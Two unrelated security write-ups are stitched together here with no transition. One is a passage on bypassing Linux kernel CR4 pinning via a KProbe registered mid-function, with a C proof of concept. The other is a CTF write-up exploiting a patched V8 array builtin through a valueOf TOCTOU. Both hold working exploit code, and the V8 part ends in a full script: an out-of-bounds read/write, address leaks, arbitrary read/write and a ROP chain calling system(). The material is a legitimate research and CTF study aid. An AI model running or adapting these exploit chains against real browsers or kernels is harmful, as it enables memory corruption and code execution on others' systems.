Following that blog post a mitigation was introduced into the Linux that is commonly referred to as “CR Pinning”. Essentially, it is a mitigation that modifies the way the native_write_cr[0,4] functions are structured to prevent the kind of misuse shown off by the blog post.

Currently the native_write_cr4 function looks like this:

static const unsigned long cr4_pinned_mask = X86_CR4_SMEP | X86_CR4_SMAP | X86_CR4_UMIP |
					     X86_CR4_FSGSBASE | X86_CR4_CET | X86_CR4_FRED;
static DEFINE_STATIC_KEY_FALSE_RO(cr_pinning);
static unsigned long cr4_pinned_bits __ro_after_init;

...

void __no_profile native_write_cr4(unsigned long val)
{
	unsigned long bits_changed = 0;

set_register:
	asm volatile("mov %0,%%cr4": "+r" (val) : : "memory");

	if (static_branch_likely(&cr_pinning)) {
		if (unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) {
			bits_changed = (val & cr4_pinned_mask) ^ cr4_pinned_bits;
			val = (val & ~cr4_pinned_mask) | cr4_pinned_bits;
			goto set_register;
		}
		/* Warn after we've corrected the changed bits. */
		WARN_ONCE(bits_changed, "pinned CR4 bits changed: 0x%lx!?\n",
			  bits_changed);
	}
}

There is a global which specifies the pinned values of the register cr4_pinned_bits and a mask the specifies which bits of the register are affected by the CR Pinning mitigation. if you attempt to hijack control flow to this function, the cr4 register will be overwritten but then the following code will reset the values of the pinned bits according to the cr4_pinned_bits global.

While I was working on System Register Hijacking, we did find a pretty clean gadget for writing cr4 elsewhere in the kernel, in sev_modify_cbit:

<sev_verify_cbit+69>:	mov    cr4,rsi
<sev_verify_cbit+72>:	je     0xffffffff810003f7 <sev_verify_cbit+87>
<sev_verify_cbit+74>:	xor    rsp,rsp
<sev_verify_cbit+77>:	sub    rsp,0x1000
<sev_verify_cbit+84>:	hlt
<sev_verify_cbit+85>:	jmp    0xffffffff810003f4 <sev_verify_cbit+84>
<sev_verify_cbit+87>:	mov    rax,rdi
<sev_verify_cbit+90>:	jmp    0xffffffff82142cc0 <srso_alias_return_thunk>

Assuming the flags register is in the correct state you effectively get a mov cr4, rsi; mov rax, rdi; ret; from this function. Which is pretty good, but the requirement on the flags register for taking the conditional jump kind of sucks, it means there are some callsites it just won’t work from unless you get ROP first and modify the flags.

So I started wondering, is there another way of getting around the CR Pinning mitigation?

Mind The Gap

The CR Pinning mitigation is… honestly kind of a strange one. You are actually able to overwrite cr4 but then it sets it to a fixed up value several instructions later. Though, I don’t think there is a better way to implement the mitigation, if you have a mov cr4, r.. instruction anywhere in the kernel then architecturally you can’t really stop someone from hijacking control flow to it (CFI aside, I suppose). So doing this fixup after the write occurs is about the best that can be done.

But it is still really interesting to me that there is a “gap” between you overwriting cr4 and it being fixed. In theory the kernel could even be preempted by a timer interrupt in the middle of that gap and execute other code while using a hijacked cr4 value before continuing to the code that sets the pinned bits.

The preemption case depends on a very tight window though, given how few instructions are in that gap, making it impractical to use.

But what if there was a way to reliably run code in that window?

KProbing

As it turns out the kernel has an API called KProbes that allows a breakpoint instruction to be inserted into kernel code at run time for tracing reasons, and provided handler functions will be called before and after stepping over the breakpoint. This API is privilleged, but assuming we have control flow hijacking though we can just call it directly.

The API is pretty simple, you can register a kprobe via the register_kprobe function, which takes one argument struct kprobe *. The kprobe struct has a field for setting the address you want the breakpoint on (alternatively, you can provide a symbol name and an offset), as well as the addresses for the pre_handler and post_handler callbacks.

If we register a KProbe in the middle of the native_write_cr4 “gap”, we can set the pre or post handler function to a usermode address and control flow will be redirected to userspace before the cr4 value gets fixed up.

Arguments

Though to call register_kprobe we need control over rdi and we need the ability to forge a struct kprobe somewhere in kernel memory.

For rdi control there might be some heap allocated function table that gives you control of rdi, but I’m not aware of one. It is pretty common to control rsi though, and after looking for a bit I found there is a function called devm_action_release that is effectively a mov rdi, [rsi]; mov rax, [rsi+0x8]; call rax; gadget. So assuming we can put an rdi and rip value somewhere in memory, we can point rsi at it and call this function to obtain rdi control.

Thankfully there are known ways of getting controlled data at known (or inferrable) locations in the kernel. One of which is to just spray mmap pages, side channel physmap base, and guess an address relative to physmap base where an mmap page might be. Another option is to use the NPerm technique found by n132, which allows you to get data relative to the kernel image.

Draw the Rest of the Owl

So given that we can redirect control flow in the middle of native_write_cr4 (you could also target sev_verify_cbit), all thats left is to put it together. I PoC’d it out with a kernel module, but the same idea could be applied to an actual exploit.

The ioctl command hijacks control flow with two arguments according to the arb_call_req struct provided as an argument. The first argument is set to 0xdeadbeef in both cases because I didn’t want to assume rdi control.

The complete PoC can be found here, but here is the main logic of it:

// used by devm_action_release gadget
struct pc_arg {
    u64 a0;
    u64 pc;
};

struct nperm_payload {
    struct kprobe kp;
    struct pc_arg pa1;
    struct pc_arg pa2;
};

// Control flow returns here
void from_kernel() {
    int uid = getuid();
    char flag[0x20] = {0};
    int flag_fd = open("/flag", O_RDONLY);
    read(flag_fd, flag, sizeof(flag));
    write(1, flag, sizeof(flag));

    while (1) {}
}

int main(int argc, char **argv) {
    struct arb_call_req req;
    u64 kaslr_base = 0xffffffff81000000;
    u32 dbg = open("/proc/dbg-mod", 2);

    sandbox();
    save_state();

    // address of some controlled data placed by nperm.
    u64 nperm_addr_guess = 0xffffffff84c11000;

    struct nperm_payload payload = {
        .kp = {
            .addr = (void *)0xffffffff8107220e, // in the middle of `native_write_cr4`
            .pre_handler = escalate_privs, // userspace shellcode
            .post_handler = (void *)0xdeadbeefcafeb0ba,
        },
        .pa1 = {
            .pc = 0xffffffff812542d0, // register_kprobe
            .a0 = nperm_addr_guess,
        },
        .pa2 = {
            .pc = 0xffffffff81072200, // native_write_cr4
            .a0 = 0x450ef0, // PKE OSXSAVE FSGSBASE UMIP OSXMMEXCPT OSFXSR PGE MCE PAE PSE
        },
    };

    nperm(&payload, sizeof(payload));

    // gadget to get control of rdi
    u64 devm_action_release = 0xffffffff81b24770;

    req.pc = devm_action_release;
    req.a0 = 0xdeadbeef;
    req.a1 = nperm_addr_guess + offsetof(struct nperm_payload, pa1);
    ioctl(dbg, 1337, &req);

    req.pc = devm_action_release;
    req.a0 = 0xdeadbeef;
    req.a1 = nperm_addr_guess + offsetof(struct nperm_payload, pa2);
    ioctl(dbg, 1337, &req);

    // Control flow continues in from_kernel()

    return 0;
}

Conclusion

I think getting shellcode execution is one of those things in both kernel and userspace that is fun to achieve just because being able to run arbitrary code very completely “owns” the system/program. This technique manages to achieve shellcode execution in the same number of ‘control flow hijacks’ as the old 2017 blog post while going through the same function, and I think that’s neat.

In theory there are other places this KProbe idea could be applied to, any series of instructions can become a gadget by placing a KProbe immediately after it and using the callbacks to chain it to another code location. Unfortunately, the KProbe callback functions run with the original register state stored in pt_regs limiting the effectiveness of chaining multiple kprobes together as a kind of KProbe Oriented Programming (KPOP?). It could still be possible to use percpu variables or other non-register means to store the results of computations, so don’t give up on KPOP yet :p

This was kind of just a silly idea I wanted to explore, but I learned a lot about KProbes and got to use NPerm for the first time. Anyways, thanks for reading, I hope you learned something from this too!

Here is the challenge description:

i ran out of descriptions . Just solve it ig ??!!

Which… wasn’t very helpful.

It came with two files, “to_give.zip” and “patch”:

• to_give.zip
• patch

Getting Started

Here are the contents of the “to_give.zip” file:

docker-compose.yml
server/d8
server/args.gn
server/entrypoint.sh
server/flag.txt
server/REVISION
server/Dockerfile
server/server.py
server/snapshot_blob.bin

The most interesting thing here is the “d8” binary which is used to run a debug version of v8 called “d8” that lets us access a JavaScript REPL and run JS files. This d8 binary is what the patch file provided with the challenge is applied to and what we need to exploit.

The patch file is a little long just because I think somethine went wrong when the author created it so the diff kind of repeats itself. But when we look at it, the first change we see is this:

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..2552c286b60 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -624,6 +624,45 @@ BUILTIN(ArrayShift) {

   return GenericArrayShift(isolate, receiver, length);
 }
+BUILTIN(ArrayShrink) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(
+      isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Oldest trick in the book"))
+    );
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+
+  if (args.length() != 2) {
+    THROW_NEW_ERROR_RETURN_FAILURE(
+      isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("specify length to shrink to "))
+    );
+  }
+
+
+  uint32_t old_len = static_cast<uint32_t>(Object::NumberValue(array->length()));
+
+  Handle<Object> new_len_obj;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, new_len_obj, Object::ToNumber(isolate, args.at(1)));
+  uint32_t new_len = static_cast<uint32_t>(Object::NumberValue(*new_len_obj));
+
+  if (new_len >= old_len){
+    THROW_NEW_ERROR_RETURN_FAILURE(
+      isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("invalid length"))
+    );
+  }
+
+  array->set_length(Smi::FromInt(new_len));
+
+  return ReadOnlyRoots(isolate).undefined_value();
+}

What this patch does is add a builtin to arrays called “shrink” that takes one argument and resizes the array. So you can do something like this:

let arr = [1, 2, 3];
arr.shrink(1);

and this will resize the array to have a length of one.

At first glance this seems fine, but as my teammates @Bena and @elemental had realized, when the shrink function sets the length it doesn’t actually change the number of elements it just updates the length parameter of the JSArray object.

  array->set_length(Smi::FromInt(new_len)); // this is not correct

But this on it’s own isn’t that interesting, we just can’t access the items beyond the end of the array length even though they still exist.

I learned from my teammates that we can visualize this behavior via the %DebugPrint() command if we pass --allow-natives-syntax to the d8 binary:

./d8 --allow-natives-syntax
V8 version 12.8.0 (candidate)
d8> let arr = [1, 2, 3, 4];
undefined
d8> %DebugPrint(arr)
DebugPrint: 0x80d00042bbd: [JSArray]
 - map: 0x080d001caf45 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x080d001cb1c5 <JSArray[0]>
 - elements: 0x080d001d3571 <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 4
 - properties: 0x080d00000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x80d00000d99: [String] in ReadOnlySpace: #length: 0x080d00025fed <AccessorInfo name= 0x080d00000d99 <String[6]: #length>, data= 0x080d00000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x080d001d3571 <FixedArray[4]> {
           0: 1
           1: 2
           2: 3
           3: 4
 }
...
[1, 2, 3, 4]
d8> arr.shrink(1);
undefined
d8> %DebugPrint(arr)
DebugPrint: 0x80d00042bbd: [JSArray]
 - map: 0x080d001caf45 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x080d001cb1c5 <JSArray[0]>
 - elements: 0x080d001d3571 <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1     <-------- LENGTH IS NOW ONE
 - properties: 0x080d00000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x80d00000d99: [String] in ReadOnlySpace: #length: 0x080d00025fed <AccessorInfo name= 0x080d00000d99 <String[6]: #length>, data= 0x080d00000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x080d001d3571 <FixedArray[4]> {  <------- NUMBER OF ELEMENTS IS jSTILL FOUR
           0: 1
           1: 2
           2: 3
           3: 4
 }
...
[1]
d8> arr[1]
undefined

At this point we were thinking it might be possible that the garbage collector could free these objects and we could somehow get UAF on them, and maybe there were other methods in v8 that operate on the number of elements rather than the length of the array. But it seemed like they wouldn’t be garbage collected because they were still referenced in elements array on the JSArray object.

Searching for Clues

I was pretty lost on how this code could be vulnerable… so I went searching for other writeups to see if I could find anything, and stumbled across a writeup for a similar challenge: https://lyra.horse/blog/2024/05/exploiting-v8-at-openecsc/.

Here is the patch for that challenge:

BUILTIN(ArrayXor) {
  HandleScope scope(isolate);
  Factory *factory = isolate->factory();
  Handle<Object> receiver = args.receiver();
  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, JSArray::cast(*receiver))) {
    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
      factory->NewStringFromAsciiChecked("Nope")));
  }
  Handle<JSArray> array = Handle<JSArray>::cast(receiver);
  ElementsKind kind = array->GetElementsKind();
  if (kind != PACKED_DOUBLE_ELEMENTS) {
    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
      factory->NewStringFromAsciiChecked("Array.xor needs array of double numbers")));
  }
  // Array.xor() needs exactly 1 argument
  if (args.length() != 2) {
    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
      factory->NewStringFromAsciiChecked("Array.xor needs exactly one argument")));
  }
  // Get array len
  uint32_t length = static_cast<uint32_t>(Object::Number(array->length()));
  // Get xor value
  Handle<Object> xor_val_obj;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, xor_val_obj, Object::ToNumber(isolate, args.at(1)));
  uint64_t xor_val = static_cast<uint64_t>(Object::Number(*xor_val_obj));
  // Ah yes, xoring doubles..
  Handle<FixedDoubleArray> elements(FixedDoubleArray::cast(array->elements()), isolate);
  FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
    double x = elements->get_scalar(i);
    uint64_t result = (*(uint64_t*)&x) ^ xor_val;
    elements->set(i, *(double*)&result);
  });

  return ReadOnlyRoots(isolate).undefined_value();
}

This is very similar, it does the same kind of checks to make sure the builtin is being called on a JSArray and then casts the argument to a Number type. The author of this writeup exploits a TOCTOU this code by setting a ‘valueOf’ property on a Map type:

evil = {
     valueOf: () => {
       arr[0] = {};
       return 1337;
     }
   }

This allows her to modify the array the builtin is called on after the code checks that the array only contains doubles and get it to do the xor operation on a map object, corrupting the pointer to the object.

Snap Back to Reality

Now, back to the challenge we are working on, it turns out we can do something pretty similar:

  // read length of array
  uint32_t old_len = static_cast<uint32_t>(Object::NumberValue(array->length()));

  // argument is casted to a number type, we can remove elements in a valueOf method from the array and still return whatever length we want new_len to be
  Handle<Object> new_len_obj;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, new_len_obj, Object::ToNumber(isolate, args.at(1)));
  uint32_t new_len = static_cast<uint32_t>(Object::NumberValue(*new_len_obj));

  // checks against old_len which was read before we modified the array in the valueOf method
  // if we remove all elements from the array but then return new_len as old_len-1 we still pass this check
  if (new_len >= old_len){
    THROW_NEW_ERROR_RETURN_FAILURE(
      isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
      factory->NewStringFromAsciiChecked("invalid length"))
    );
  }

  array->set_length(Smi::FromInt(new_len));

Here is a small PoC I used to demonstrate it was possible to trigger this bug:

arr = new Array(2000).fill({});
evil = { valueOf() { for (let i = 0; i < 1999; i++) { arr.pop(); } return 1999; } };
arr.shrink(evil)
%DebugPrint(arr);

This is the output:

DebugPrint: 0x4ec00042bb9: [JSArray]
 - map: 0x04ec001cb92d <Map[16](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x04ec001cb1c5 <JSArray[0]>
 - elements: 0x04ec00042bc9 <FixedArray[18]> [HOLEY_ELEMENTS]
 - length: 1999
 - properties: 0x04ec00000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x4ec00000d99: [String] in ReadOnlySpace: #length: 0x04ec00025fed <AccessorInfo name= 0x04ec00000d99 <String[6]: #length>, data= 0x04ec00000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x04ec00042bc9 <FixedArray[18]> {
           0: 0x04ec00044b11 <Object map = 0x4ec001c0f6d>
        1-17: 0x04ec00000741 <the_hole_value>
 }
 ...

Notice that the length is 1999, while the number of elements in the JSArray is only 18.

If I try and access one index past the end of the elements list, I get a crash:

d8> arr[18]
abort: Unexpected instance type encountered

==== JS stack trace =========================================

    0: ExitFrame [pc: 0x61c163bedbf6]
    1: StubFrame [pc: 0x61c163b5398f]
    2: Stringify(aka Stringify) [0x4ec0004570d] [d8-stringify:~23] [pc=0x61c1c3b401ce](this=0x04ec00000069 <undefined>,0x04ec00000971 <Map(FREE_SPACE_TYPE)>#0#,4)
    3: InternalFrame [pc: 0x61c163b4e01c]
    4: EntryFrame [pc: 0x61c163b4dd5f]

Which seems good?

My teammates also shared this writeup https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/ in which they are given an out-of-bounds primitive and use an array of double type elements to do out-of-bounds reads and writes. I borrowed some helper methods for converting between floats and integers from them.

Here is a modified PoC using doubles and the helper methods:

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); }
function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; }

arr = new Array(2000).fill(1.1);
evil = { valueOf() { for (let i = 0; i < 1999; i++) { arr.pop(); } return 1999; } };
for (let i = 17; i < 27; i++) { console.log('before ' + i + ': 0x' + ftoi(arr[i]).toString(16)); }
arr.shrink(evil)
for (let i = 17; i < 27; i++) { console.log('after ' + i + ': 0x' + ftoi(arr[i]).toString(16)); }

this produces output that looks like this:

d8> before 0: 0x3ff199999999999a
before 1: 0x3ff199999999999a
before 2: 0x3ff199999999999a
before 3: 0x3ff199999999999a
before 4: 0x3ff199999999999a
before 5: 0x3ff199999999999a
before 6: 0x3ff199999999999a
before 7: 0x3ff199999999999a
before 8: 0x3ff199999999999a
before 9: 0x3ff199999999999a
before 10: 0x3ff199999999999a
before 11: 0x3ff199999999999a
before 12: 0x3ff199999999999a
before 13: 0x3ff199999999999a
before 14: 0x3ff199999999999a
before 15: 0x3ff199999999999a
before 16: 0x3ff199999999999a
before 17: 0x3ff199999999999a
before 18: 0x3ff199999999999a
before 19: 0x3ff199999999999a
undefined
d8> undefined
d8> after 0: 0x3ff199999999999a
after 1: 0x7ff8000000000000
after 2: 0x7ff8000000000000
after 3: 0x7ff8000000000000
after 4: 0x7ff8000000000000
after 5: 0x7ff8000000000000
after 6: 0x7ff8000000000000
after 7: 0x7ff8000000000000
after 8: 0x7ff8000000000000
after 9: 0x7ff8000000000000
after 10: 0x7ff8000000000000
after 11: 0x7ff8000000000000
after 12: 0x7ff8000000000000
after 13: 0x7ff8000000000000
after 14: 0x7ff8000000000000
after 15: 0x7ff8000000000000
after 16: 0x7ff8000000000000
after 17: 0x7ff8000000000000
after 18: 0xc000000971
after 19: 0x7ff8000000000000
undefined
d8>

So we are now able to view data out-of-bounds of our array, most of which looks the same, this is probably related to the_hole_value, the value javascript uses as a filler element when resizing arrays. These elements were just recently freed though, so I figured we should see if we can reclaim them.

I have no idea how the allocator works in v8 so I just tried allocating a ton of arrays to see if eventually it would get reclaimed by other data:

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); }
function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; }

arr = new Array(2000).fill(1.1);
evil = { valueOf() { for (let i = 0; i < 1999; i++) { arr.pop(); } return 1999; } };
arr.shrink(evil)

let arrs = [];
for (let i = 0; i < 50000; i++) { arrs.push([1.1]); }

for (let i = 0; i < 50; i++) { console.log('after ' + i + ': 0x' + ftoi(arr[i]).toString(16)); }

And here was the result:

after 0: 0x3ff199999999999a
...
after 18: 0xc00000999
after 19: 0x1d1fb900280dad
after 20: 0x1d2165001d20a5
after 21: 0x6900000069
after 22: 0x600000999
after 23: 0x1d1fb900280dad
after 24: 0x859001d20a5
after 25: 0x5555566c8830
after 26: 0x4000005e5
after 27: 0x1d40bfbe1be82a
after 28: 0x4000005e5
after 29: 0x1d477b3bd65d3c
after 30: 0x4000005e5
after 31: 0x1d34bbe5445d68
after 32: 0x4000005e5
after 33: 0x1d360f9984896a
after 34: 0x4000005e5
after 35: 0x1d50437afb5294
after 36: 0x4000005e5
after 37: 0x1d515fb3f73494
after 38: 0x4000005e5
after 39: 0x1d4c176c4c35ac
after 40: 0x4000005e5
after 41: 0x1d45c727042db2
after 42: 0x4000005e5
after 43: 0x1d43e3d15d1ab6
after 44: 0x4000005e5
after 45: 0x1d4e8bbd48c1c4
after 46: 0x4000005e5
after 47: 0x1d41e34b5b94ce
after 48: 0x4000005e5
after 49: 0x1d4307b55068e6

Control Flow Hijacking?

Wildly, there is actually a code pointer in that output at index 25 0x5555566c8830 which points to v8::PrintMessageCallback. We can actually just overwite this and get control flow hijacking when an error occurs in the repl:

d8> arr[25] = itof(BigInt(0xdeadbeef));
d8> console.log(ftoi(arr[25]).toString(16))
d8> meow // this is undefined so the repl errors

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
0x00000000deadbeef in ?? ()
-------------------------------------------------------------------------------------------------- code:x86:64 ----
[!] Cannot access memory at address 0xdeadbeef
-------------------------------------------------------------------------------------------------------------------
gef>

I tried exploiting this for a while, but the register state at the control flow hijacking site wasn’t great for achieving any kind of stack pivot.

Arb Read/Write

Looking back this writeup https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/, they hijacked a pointer to the backing_store of an ArrayBuffer object. So I figured I’d try just spraying ArrayBuffers and see if I can just directly edit their backing store using the OOB I have.

Frustratingly, there is different behavior between running ./d8 <js_file_path> versus ./d8 and sending input to the REPL, so from this point on I use the prior method to be consistent with remote.

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); }

function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; }

let arr = new Array(2000).fill(1.1);
evil = { valueOf() { for (let i = 0; i < 1999; i++) { arr.pop(); } return 1999; } };
arr.shrink(evil)

let arrs = new Array()
for (let i = 0; i < 100000; i++) { arrs.push(new ArrayBuffer(8)); }

for (let i = 0; i < 100; i++) { console.log(i + ': 0x' + ftoi(arr[i]).toString(16)); }

// OUT:
// ...
// 25: 0x5555566c8830
// ...
// 30: 0x57ef24d000000000
// 31: 0x22800000005555

Turns out spraying 100000 ArrayBuffers was enough to reclaim the memory of our array elements! The code pointer is still there and at index 30/31 there is actually a misaligned heap pointer:

gef> vmmap 0x555557ef24d0
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x0000555557e50000 0x00005555594cb000 0x000000000167b000 0x0000000000000000 rw- [heap]

This is very likely to be a backing_store field of one of the ArrayBuffers we allocated.

I confirmed this by doing %DebugPrint(arrs[0]) and seeing that the backing_store pointer matched the one that was leaked.

DebugPrint: 0x234e00280021: [JSArrayBuffer] in OldSpace
 - map: 0x234e001c87b9 <Map[56](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x234e001c894d <Object map = 0x234e001c87e1>
 - elements: 0x234e00000725 <FixedArray[0]> [HOLEY_ELEMENTS]
 - cpp_heap_wrappable: 0
 - backing_store: 0x555557ef24d0 <--- matches pointer from leak
 - byte_length: 8
 - max_byte_length: 8
...

According to this we can overwrite the pointer and get arb/read write by wrapping it in a DataView:

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); }

function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; }

let arr = new Array(2000).fill(1.1);
evil = { valueOf() { for (let i = 0; i < 1999; i++) { arr.pop(); } return 1999; } };
arr.shrink(evil)

let arrs = new Array()

// allocate until we see the code pointer in idx 25
let idx_25 = ftoi(arr[25]);
while ((idx_25 & 0xfffn) != 0x830n) {
  arrs.push(new ArrayBuffer(8));
  idx_25 = ftoi(arr[25]);
}

// allocate until we see something that looks sorta like a heap pointer in idx 31
let idx_31 = ftoi(arr[31]);
while ((idx_31 & 0xf000n) != 0x5000n && (idx_31 & 0xf000n) != 0x6000n) {
  arrs.push(new ArrayBuffer(8));
  idx_31 = ftoi(arr[31]);
}

// Leak the code pointer
let pie_leak = ftoi(arr[25]);
console.log('PIE Leak: 0x' + pie_leak.toString(16));

// Calculate base address of d8 binary
let pie_base = pie_leak - BigInt(0x1174830);
console.log('PIE Base: 0x' + pie_base.toString(16));

// Leak the backing_store pointer of the arrs[0] DataView
let backing_store = (ftoi(arr[30]) >> 32n) + ((ftoi(arr[31]) & 0xffffffffn) << 32n);
console.log('backing_store: 0x' + backing_store.toString(16));

let dataview = new DataView(arrs[0]);

// Address in GOT we want to leak
got_pkey_set = pie_base + BigInt(0x28ab9d8);
console.log("got_pkey_set: " +  got_pkey_set.toString(16));

// Overwrite backing_store pointer
arr[30] = itof((BigInt(got_pkey_set & 0xffffffffn) << 32n));
arr[31] = itof(got_pkey_set >> 32n);

let libc_pkey_set = dataview.getBigUint64(0, true);
console.log("libc_pkey_set: " +  libc_pkey_set.toString(16));

// OUT:
// PIE Leak: 0x5e0325bbe830
// PIE Base: 0x5e0324a4a000
// backing_store: 0x5e03323ad4d0
// got_pkey_set: 5e03272f59d8
// libc_pkey_set: 7b060ff26290

Unfortunately, this code only works maybe once in four tries for reasons that are beyond my comprehension.

Regardless, we now have arbitrary read/write by using either dataview.getBigUint64 or dataview.setBigUint64!

With this, I finished the exploit off by leaking environ from libc to get a stack pointer and overwriting the stack with a ROP chain:

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); }

function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; }

let arr = new Array(2000).fill(1.1);
evil = { valueOf() { for (let i = 0; i < 1999; i++) { arr.pop(); } return 1999; } };
arr.shrink(evil)

let arrs = new Array()

let idx_25 = ftoi(arr[25]);
while ((idx_25 & 0xfffn) != 0x830n) {
  arrs.push(new ArrayBuffer(8));
  idx_25 = ftoi(arr[25]);
}

let idx_31 = ftoi(arr[31]);
while ((idx_31 & 0xf000n) != 0x5000n && (idx_31 & 0xf000n) != 0x6000n) {
  arrs.push(new ArrayBuffer(8));
  idx_31 = ftoi(arr[31]);
}

// Leak the code pointer we saw at idx 25
let pie_leak = ftoi(arr[25]);
console.log('PIE Leak: 0x' + pie_leak.toString(16));

// Calculate base address of d8 binary
let pie_base = pie_leak - BigInt(0x1174830);
console.log('PIE Base: 0x' + pie_base.toString(16));

// Leak the backing_store pointer of the arrs[0] DataView
let backing_store = (ftoi(arr[30]) >> 32n) + ((ftoi(arr[31]) & 0xffffffffn) << 32n);
console.log('backing_store: 0x' + backing_store.toString(16));

let dataview = new DataView(arrs[0]);

// Address in GOT we want to leak
got_pkey_set = pie_base + BigInt(0x28ab9d8);
console.log("got_pkey_set: " +  got_pkey_set.toString(16));

// Overwrite backing_store pointer
arr[30] = itof((BigInt(got_pkey_set & 0xffffffffn) << 32n));
arr[31] = itof(got_pkey_set >> 32n);

let libc_pkey_set = dataview.getBigUint64(0, true);
console.log("libc_pkey_set: " +  libc_pkey_set.toString(16));

let libc_base = libc_pkey_set - BigInt(0x12a530);
console.log("libc Base: " +  libc_base.toString(16))

let environ  = libc_base + BigInt(0x20ad58);
console.log("environ: " +  environ.toString(16))

arr[30] = itof((BigInt(environ & 0xffffffffn) << 32n));
arr[31] = itof(environ >> 32n);

let sp_leak = dataview.getBigUint64(0, true);
console.log("sp_leak: 0x" +  sp_leak.toString(16));
console.log("weh");

let sp_target = sp_leak - BigInt(0x138)
console.log("sp_target: 0x" +  sp_target.toString(16));

// flag is at ./flag.txt, so write 'cat f*\0' somewhere for system()
let cmd_str = sp_leak - BigInt(0x100)
arr[30] = itof((BigInt(cmd_str & 0xffffffffn) << 32n));
arr[31] = itof(cmd_str >> 32n);
console.log("cmd_str = 0x" + cmd_str.toString(16));
dataview.setBigUint64(0, BigInt(0x20746163) + (BigInt(0x2a66) << 32n), true);

let system = libc_base + BigInt(0x58750);
let pop_rdi = libc_base + BigInt(0x000000000010f78b);

// ret
arr[30] = itof((BigInt(sp_target & 0xffffffffn) << 32n));
arr[31] = itof(sp_target >> 32n);
let ret = pop_rdi + BigInt(1);
console.log("ret = 0x" + ret.toString(16));
dataview.setBigUint64(0, ret, true);

// pop rdi
sp_target += 8n;
arr[30] = itof((BigInt(sp_target & 0xffffffffn) << 32n));
arr[31] = itof(sp_target >> 32n);
console.log("pop_rdi = 0x" + pop_rdi.toString(16));
dataview.setBigUint64(0, pop_rdi, true);

// cmd_str
sp_target += 8n;
arr[30] = itof((BigInt(sp_target & 0xffffffffn) << 32n));
arr[31] = itof(sp_target >> 32n);
let binsh = libc_base + BigInt(0x1cb42f);
dataview.setBigUint64(0, cmd_str, true);

// system
sp_target += 8n;
arr[30] = itof((BigInt(sp_target & 0xffffffffn) << 32n));
arr[31] = itof(sp_target >> 32n);
dataview.setBigUint64(0, system, true);

// Securinets{shrink_is_op}

